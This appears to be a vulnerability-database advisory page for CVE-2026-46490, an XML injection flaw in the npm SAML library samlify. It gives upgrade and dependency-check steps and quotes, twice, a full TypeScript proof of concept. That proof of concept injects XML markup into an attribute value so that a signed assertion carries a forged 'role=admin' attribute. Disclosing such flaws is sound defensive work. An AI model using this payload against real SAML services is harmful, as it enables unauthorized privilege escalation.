CVE-2026-46490: samlify XML Injection Vulnerability

HIGH
Advisory Identifier: GHSA-34r5-q4jw-r36m
CWE-91
Published
Advisory Summary

CVE-2026-46490 is a HIGH xml injection vulnerability (CWE-91: XML Injection (aka Blind XPath Injection)) affecting samlify libraries in the npm ecosystem. The issue involves xml injection in attributevalue allows privilege escalation in signed saml assertions. Remediation is available by upgrading affected packages to version 2.13.0.

CVE-2026-46490 at a Glance

CVE Identifier CVE-2026-46490
GHSA Identifier GHSA-34r5-q4jw-r36m
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-91: XML Injection (aka Blind XPath Injection)
Affected Product samlify
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-46490

To remediate this vulnerability, upgrade all affected samlify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

samlify fixed: 2.13.0
npm install samlify@2.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls samlify

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-46490, inspect your project dependencies using npm:

npm ls samlify

Analyze the terminal output to locate any version of samlify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.

Note: The npm ls samlify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-91: XML Injection (aka Blind XPath Injection), where the product does not properly neutralize special elements that are used in xml, allowing attackers to modify the syntax, content, or commands of the xml before it is processed by an end system. In samlify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `<saml:AttributeValue>`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `<saml:Attribute>` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). ## Root Cause `src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text: ``` <saml:AttributeValue ...>{attrUserX}</saml:AttributeValue> ``` Therefore, `</saml:AttributeValue>…<saml:Attribute …>` is accepted and signed. ## Proof-of-concept - poc/attribute_injection.ts ```TS import { readFileSync } from 'fs'; import * as samlify from '../index'; import * as validator from '@authenio/samlify-xsd-schema-validator'; samlify.setSchemaValidator(validator); const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any; const loginResponseTemplate = { context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>', attributes: [ { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' }, { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' }, ], }; const idp = IdentityProvider({ privateKey: readFileSync('./test/key/idp/privkey.pem'), privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW', isAssertionEncrypted: false, metadata: readFileSync('./test/misc/idpmeta.xml'), loginResponseTemplate, }); const sp = ServiceProvider({ privateKey: readFileSync('./test/key/sp/privkey.pem'), privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px', isAssertionEncrypted: false, metadata: readFileSync('./test/misc/spmeta.xml'), }); const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => { const now = new Date(); const fiveMinutesLater = new Date(now.getTime() + 300_000); const tvalue = { ID: _idp.entitySetting.generateID(), AssertionID: _idp.entitySetting.generateID(), Destination: _sp.entityMeta.getAssertionConsumerService('post'), Audience: _sp.entityMeta.getEntityID(), SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'), NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress', NameID: user.email, Issuer: _idp.entityMeta.getEntityID(), IssueInstant: now.toISOString(), ConditionsNotBefore: now.toISOString(), ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(), SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(), InResponseTo: 'request-id', StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success', attrUserEmail: user.email, attrUserInjection: user.injection, }; return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) }; }; async function main() { const injection = [ 'safe', '</saml:AttributeValue></saml:Attribute>', '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">', '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>', '</saml:Attribute>', '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">', '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe' ].join(''); const user = { email: 'user@esaml2.com', injection }; const { context: SAMLResponse } = await idp.createLoginResponse( sp, { extract: { request: { id: 'request-id' } } }, 'post', user, buildTemplate(idp, sp, 'post', user) ); const xml = util.base64Decode(SAMLResponse, true).toString(); console.log('--- Generated XML snippet ---'); console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26)); const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } }); console.log('Parsed attributes:', extract.attributes); } main().catch(err => { console.error('PoC failed:', err?.message || err); process.exitCode = 1; }); ``` **Run:** ``` npm install --legacy-peer-deps npx ts-node poc/attribute_injection.ts ``` ## Impact A normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.

CVE-2026-46490 Affected samlify Versions

1 component(s)
Fixed Versions:
2.13.0
Product / Package Ecosystem Affected Versions Fixed Version
samlify
npm
< 2.13.0
2.13.0

References

Frequently Asked Questions

What is CVE-2026-46490?
CVE-2026-46490 is a security vulnerability in samlify involving XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions under CWE-91: XML Injection (aka Blind XPath Injection).
Which samlify versions are affected?
Affected versions include releases prior to 2.13.0 across affected packages: samlify.
What version fixes CVE-2026-46490?
Upgrading to 2.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is samlify affected?
Yes, samlify is affected in releases prior to 2.13.0. Upgrade your dependency to 2.13.0 or later.
What CWE is associated with CVE-2026-46490?
CVE-2026-46490 is classified under CWE-91: XML Injection (aka Blind XPath Injection) (The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.).
How can I check npm dependencies for CVE-2026-46490?
Run the dependency tree command: 'npm ls samlify'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-34r5-q4jw-r36m",
  "modified" : "2026-06-09T13:12:28Z",
  "published" : "2026-05-21T17:14:07Z",
  "aliases" : [ "CVE-2026-46490" ],
  "summary" : "samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions",
  "details" : "## Summary\n\nsamlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `<saml:AttributeValue>`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `<saml:Attribute>` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).\n\n## Root Cause\n\n`src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:\n\n```\n<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>\n```\n\nTherefore, `</saml:AttributeValue>…<saml:Attribute …>` is accepted and signed.\n\n## Proof-of-concept\n\n- poc/attribute_injection.ts\n\n```TS\nimport { readFileSync } from 'fs';\nimport * as samlify from '../index';\nimport * as validator from '@authenio/samlify-xsd-schema-validator';\n\nsamlify.setSchemaValidator(validator);\n\nconst { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;\n\nconst loginResponseTemplate = {\n  context: '<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"{ID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" Destination=\"{Destination}\" InResponseTo=\"{InResponseTo}\"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value=\"{StatusCode}\"/></samlp:Status><saml:Assertion ID=\"{AssertionID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format=\"{NameIDFormat}\">{NameID}</saml:NameID><saml:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\"><saml:SubjectConfirmationData NotOnOrAfter=\"{SubjectConfirmationDataNotOnOrAfter}\" Recipient=\"{SubjectRecipient}\" InResponseTo=\"{InResponseTo}\"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore=\"{ConditionsNotBefore}\" NotOnOrAfter=\"{ConditionsNotOnOrAfter}\"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',\n  attributes: [\n    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n  ],\n};\n\nconst idp = IdentityProvider({\n  privateKey: readFileSync('./test/key/idp/privkey.pem'),\n  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',\n  isAssertionEncrypted: false,\n  metadata: readFileSync('./test/misc/idpmeta.xml'),\n  loginResponseTemplate,\n});\n\nconst sp = ServiceProvider({\n  privateKey: readFileSync('./test/key/sp/privkey.pem'),\n  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',\n  isAssertionEncrypted: false,\n  metadata: readFileSync('./test/misc/spmeta.xml'),\n});\n\nconst buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {\n  const now = new Date();\n  const fiveMinutesLater = new Date(now.getTime() + 300_000);\n  const tvalue = {\n    ID: _idp.entitySetting.generateID(),\n    AssertionID: _idp.entitySetting.generateID(),\n    Destination: _sp.entityMeta.getAssertionConsumerService('post'),\n    Audience: _sp.entityMeta.getEntityID(),\n    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),\n    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',\n    NameID: user.email,\n    Issuer: _idp.entityMeta.getEntityID(),\n    IssueInstant: now.toISOString(),\n    ConditionsNotBefore: now.toISOString(),\n    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),\n    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),\n    InResponseTo: 'request-id',\n    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',\n    attrUserEmail: user.email,\n    attrUserInjection: user.injection,\n  };\n\n  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };\n};\n\nasync function main() {\n  const injection = [\n    'safe',\n    '</saml:AttributeValue></saml:Attribute>',\n    '<saml:Attribute Name=\"role\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\">',\n    '<saml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\">admin</saml:AttributeValue>',\n    '</saml:Attribute>',\n    '<saml:Attribute Name=\"injection\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\">',\n    '<saml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\">safe'\n  ].join('');\n\n  const user = { email: 'user@esaml2.com', injection };\n  const { context: SAMLResponse } = await idp.createLoginResponse(\n    sp,\n    { extract: { request: { id: 'request-id' } } },\n    'post',\n    user,\n    buildTemplate(idp, sp, 'post', user)\n  );\n\n  const xml = util.base64Decode(SAMLResponse, true).toString();\n  console.log('--- Generated XML snippet ---');\n  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));\n\n  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });\n\n  console.log('Parsed attributes:', extract.attributes);\n}\n\nmain().catch(err => {\n  console.error('PoC failed:', err?.message || err);\n  process.exitCode = 1;\n});\n```\n\n**Run:**\n\n```\n  npm install --legacy-peer-deps\n  npx ts-node poc/attribute_injection.ts\n```\n\n## Impact \n\nA normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "samlify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.13.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46490"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tngan/samlify"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-91" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T17:14:07Z",
    "nvd_published_at" : "2026-06-08T19:16:45Z"
  }
}